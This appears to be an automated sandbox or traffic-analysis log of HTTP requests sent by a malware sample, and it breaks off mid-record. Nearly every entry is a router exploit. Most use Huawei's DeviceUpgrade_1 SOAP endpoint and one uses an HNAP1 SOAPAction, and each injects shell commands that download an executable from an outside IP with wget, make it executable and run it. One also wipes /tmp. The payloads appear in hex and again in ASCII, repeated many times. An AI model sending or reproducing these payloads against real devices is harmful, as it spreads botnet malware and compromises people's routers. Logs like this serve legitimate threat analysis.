Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 